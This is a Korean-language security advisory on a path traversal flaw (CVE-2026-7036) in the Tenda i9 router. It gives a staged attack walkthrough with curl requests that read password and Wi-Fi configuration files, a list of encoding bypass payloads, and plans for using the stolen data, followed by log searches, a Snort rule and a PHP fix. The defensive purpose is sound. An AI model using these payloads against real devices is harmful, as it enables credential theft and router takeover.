기본 원리: 경로 탐색 (Path Traversal)이란
경로 탐색(Path Traversal), 또는 디렉토리 탐색(Directory Traversal)은 웹 애플리케이션이나 시스템이 사용자로부터 입력받은 파일 경로를 적절히 검증하지 않고 그대로 사용할 때 발생하는 보안 취약점입니다. 이 취약점은 공격자가 서버의 의도된 디렉토리 외부의 파일이나 디렉토리에 접근할 수 있도록 허용합니다.
기본적으로 웹 서버는 특정 디렉토리(예: /var/www/html 또는 webroot) 내의 파일만 제공하도록 설계되어 있습니다. 하지만 공격자는 ../(상위 디렉토리로 이동)와 같은 특수 문자를 파일 경로에 삽입하여 이러한 제한을 우회하려고 시도합니다.
예시:
정상적인 요청:
GET /download?filename=report.pdf
서버가 처리: /var/www/files/report.pdf
공격자의 요청:
GET /download?filename=../../../etc/passwd
서버가 처리: /var/www/files/../../../etc/passwd → /etc/passwd
이를 통해 공격자는 시스템의 민감한 파일(비밀번호 파일, 설정 파일, 소스 코드 등)에 접근할 수 있게 됩니다.
취약점 상세
CVE-2026-7036은 Tenda i9 공유기의 보안 처리 함수에서 발견된 경로 탐색(Path Traversal) 취약점입니다. 다른 Totolink CVE들과 달리, 이 취약점은 Tenda 브랜드 장치에서 발견되었으며 경로 탐색 유형입니다.
| 항목 | 내용 |
|---|---|
| 영향 장치 | Tenda i9 1.0.0.5(2204) |
| 취약 컴포넌트 | HTTP 핸들러 |
| 취약 함수 | R7WebsSecurityHandler |
| 취약점 유형 | 경로 탐색 (Path Traversal / Directory Traversal) |
| 공격 벡터 | 네트워크 (원격) |
| CVSS 점수 | 7.3 (HIGH) |
| CWE | CWE-22: Path Traversal |
R7WebsSecurityHandler는 HTTP 요청에 대한 보안 처리를 담당하는 함수입니다. 이 함수에서 요청된 파일 경로를 적절히 검증하지 않아, 공격자가 ../ 시퀀스를 포함한 경로를 통해 라우터 파일 시스템의 임의 위치에 있는 파일에 접근할 수 있습니다.
공격 시나리오
공격 전제 조건
- 대상 Tenda i9 공유기의 웹 인터페이스에 네트워크 접근 가능
- 펌웨어 버전 1.0.0.5(2204) 사용 중
공격 흐름
1단계: 기본 경로 탐색 시도
# /etc/passwd 파일 접근 시도
curl http://TARGET_IP/../../../../etc/passwd
# URL 인코딩 우회 시도
curl "http://TARGET_IP/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# 이중 인코딩 우회
curl "http://TARGET_IP/%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
2단계: 민감한 파일 탈취
# 시스템 패스워드 파일
curl "http://TARGET_IP/cgi-bin/....//....//etc/passwd"
# 라우터 설정 파일 (Wi-Fi 비밀번호, 관리자 계정 포함 가능)
curl "http://TARGET_IP/cgi-bin/....//....//etc/config/system"
curl "http://TARGET_IP/cgi-bin/....//....//etc/config/wireless"
# 관리자 계정 설정
curl "http://TARGET_IP/cgi-bin/....//....//etc/htpasswd"
3단계: 다양한 우회 기법
URL 필터가 적용된 경우 다양한 우회 기법을 시도합니다:
# 기본 형태
../../../../etc/passwd
# URL 인코딩
..%2F..%2F..%2F..%2Fetc%2Fpasswd
# 이중 URL 인코딩
..%252F..%252F..%252F..%252Fetc%252Fpasswd
# 백슬래시 사용 (Windows 계열)
..\..\..\etc\passwd
# 혼합 형태
..%5C..%5C..%5C..%5Cetc/passwd
# null 바이트 추가 (구형 시스템)
../../../etc/passwd%00.jpg
4단계: 정보 활용
탈취한 정보를 바탕으로:
- 패스워드 해시를 오프라인에서 크래킹
- Wi-Fi 비밀번호로 무선 네트워크 접근
- 관리자 계정으로 라우터 완전 제어
공격 결과
경로 탐색 취약점으로 공격자가 접근 가능한 파일:
/etc/passwd— 사용자 계정 목록/etc/shadow— 암호화된 패스워드 해시/etc/config/system— 시스템 설정 (관리자 계정)/etc/config/wireless— Wi-Fi SSID 및 비밀번호/etc/config/network— 네트워크 설정 (PPPoE 계정)/tmp/— 임시 파일 (세션 토큰 등)
탐지 방법
웹 서버 로그 분석
경로 탐색 시도 패턴 탐지:
# 로그에서 경로 탐색 패턴 검색
grep -E "(\.\.\/|\.\.\\\\|%2e%2e|%252e%252e)" /var/log/httpd/access.log
# 의심스러운 HTTP 요청 집계
awk '{print $7}' /var/log/httpd/access.log | grep -E "\.\.%2F|\.\./" | sort | uniq -c | sort -rn
IDS/WAF 시그니처
# Snort 규칙
alert http any any -> $HTTP_SERVERS any (
msg: "CVE-2026-7036 Tenda Path Traversal";
content: "R7WebsSecurityHandler";
pcre: "/(\.\.\/|\.\.\\\\|%2e%2e)/i";
sid: 20267036; rev:1;
)
비정상 HTTP 요청 모니터링
- URL에
../,..\,%2e%2e,%252e%252e포함된 요청 - 웹 루트 외부 경로(예:
/etc/,/proc/,/var/) 접근 시도 - 짧은 시간에 다수의 다른 파일 경로 접근 요청
대응 방법
즉각적인 조치
1. 펌웨어 업데이트 Tenda 공식 웹사이트에서 Tenda i9의 최신 보안 패치 펌웨어를 확인하고 업데이트합니다.
2. 웹 인터페이스 접근 제한
- WAN(외부 인터넷)에서 라우터 관리 페이지 접근 차단
- 관리자 IP를 화이트리스트로만 제한
3. 임시 WAF 규칙 라우터 앞단에 방화벽/WAF를 배치하고, 경로 탐색 패턴이 포함된 HTTP 요청을 차단합니다.
근본적인 보안 강화
개발자 관점의 수정 방법:
// 취약한 코드
$file = $_GET['file'];
readfile("/var/www/files/" . $file);
// 안전한 코드 - 경로 정규화 및 검증
$file = $_GET['file'];
$realpath = realpath("/var/www/files/" . $file);
if (strpos($realpath, "/var/www/files/") === 0 && file_exists($realpath)) {
readfile($realpath);
} else {
http_response_code(403);
die("Access denied");
}
realpath()또는 유사 함수로 경로 정규화- 화이트리스트 기반 파일명 검증
../시퀀스의 모든 변형 필터링
장기적 보안 관리
- 정기적인 펌웨어 업데이트 정책 수립
- 지원이 종료된 장치의 신속한 교체
- 네트워크 경계에 IDS/IPS 배포
- 라우터 접근 로그 정기 모니터링